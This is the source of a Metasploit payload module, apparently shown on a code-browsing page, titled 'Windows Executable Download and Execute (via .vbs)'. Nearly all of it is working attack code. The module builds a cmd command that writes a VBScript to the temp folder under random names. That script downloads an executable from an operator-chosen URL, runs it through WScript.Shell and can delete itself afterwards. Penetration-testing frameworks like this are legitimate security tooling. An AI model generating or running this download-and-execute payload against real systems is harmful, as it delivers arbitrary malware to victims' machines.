Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/cmd/windows/download_exec_vbs.rb
Views: 11778
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = :dynamic910include Msf::Payload::Single11include Msf::Sessions::CommandShellOptions1213def initialize(info = {})14super(merge_info(info,15'Name' => 'Windows Executable Download and Execute (via .vbs)',16'Description' => 'Download an EXE from an HTTP(S) URL and execute it',17'Author' => 'scriptjunkie',18'License' => BSD_LICENSE,19'Platform' => 'win',20'Arch' => ARCH_CMD,21'Handler' => Msf::Handler::None,22'Session' => Msf::Sessions::CommandShell,23'PayloadType' => 'cmd',24'RequiredCmd' => 'wscript',25'Payload' =>26{27'Offsets' => { },28'Payload' => ''29}30))3132register_options(33[34OptString.new('URL', [ true, "The pre-encoded URL to the executable" ]),35OptString.new('EXT', [ true, "The extension to give the saved file", "exe" ]),36OptBool.new('INCLUDECMD', [ true, "Include the cmd /q /c", false ]),37OptBool.new('DELETE', [ true, "Delete created .vbs after download", true ])38])39end4041def generate(_opts = {})42return super + command_string43end4445def command_string46# It's already long. Keep variable names short.47vbsname = Rex::Text.rand_text_alpha(1+rand(2))48exename = Rex::Text.rand_text_alpha(1+rand(2))49xmlhttpvar = Rex::Text.rand_text_alpha(1+rand(2))50streamvar = Rex::Text.rand_text_alpha(1+rand(2))5152command = ''53command << "cmd.exe /q /c " if datastore['INCLUDECMD']54# "start #{vbsname}.vbs" instead of just "#{vbsname}.vbs" so that the console window55# disappears quickly before the wscript libraries load and the file downloads56command << "cd %tmp%&echo Set #{xmlhttpvar}=CreateObject(\"Microsoft.XMLHTTP\"):"+57"#{xmlhttpvar}.Open \"GET\",\"#{datastore['URL']}\",False:"+58"#{xmlhttpvar}.Send:"+59"Set #{streamvar}=CreateObject(\"ADODB.Stream\"):"+60"#{streamvar}.Type=1:"+61"#{streamvar}.Open:"+62"#{streamvar}.Write #{xmlhttpvar}.responseBody:"+63"#{streamvar}.SaveToFile \"#{exename}.#{datastore['EXT']}\",2:"+64"CreateObject(\"WScript.Shell\").Run \"#{exename}.#{datastore['EXT']}\":"65command << "CreateObject(\"Scripting.FileSystemObject\").DeleteFile \"#{vbsname}.vbs\"" if datastore['DELETE']66command << " >#{vbsname}.vbs"+67"&start wscript #{vbsname}.vbs"68end69end707172